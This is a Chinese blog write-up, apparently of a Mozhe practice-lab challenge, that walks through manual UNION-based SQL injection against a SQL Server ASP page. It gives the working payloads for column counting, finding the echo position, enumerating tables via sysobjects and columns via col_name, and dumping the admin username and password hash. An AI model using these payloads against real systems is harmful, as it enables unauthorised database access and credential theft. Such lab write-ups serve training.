墨者 - SQL手工注入漏洞测试(Sql Server数据库)

/new_list.asp?id=2 and 1=2  ,返回页面没报错

 

 /new_list.asp?id=2 order by 1 ,测试有多少个字段,知道order by 4还有页面回显

 

这里有个坑,一开始走正常的流程测回显位置 /new_list.asp?id=2 and 1=2  union  select 1,2,3,4  ,

用 union select 连接,页面报错

后来上网搜索才发觉,用union all select 可以成功,所以/new_list.asp?id=2 and 1=2  union all  select 1,2,3,4  ,

一样报错

后来卡了很久才发发现select  1,2,'3',4。这里的3是字符串类型。因为UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。一开始的3是数字类型,数据库的是字符串类型所以一直失败。

改为:/new_list.asp?id=2 and 1=2  union all  select 1,2,'3',4,测到回显位置了

爆库

/new_list.asp?id=2 and 1=2  union all select 1,db_name(),'3',4,名为mozhe_db_v2

爆表

/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

这里的mmsql和mysql语法有点不同,mmsql记录敏感信息的表在sysobjects 中。

具体参数可以去这个链接了解:

https://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html

https://blog.csdn.net/jackmacro/article/details/6405871

当xtype='U' 代表是用户建立的表。

 

爆字段

/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4

这里解释一下col_name(),与object()

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4  得username

/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password

说明mange表总共有3列,分别为:id、username、password

 

爆字段内容

/new_list.asp?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4

MD5在线解密即可得出答案

 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值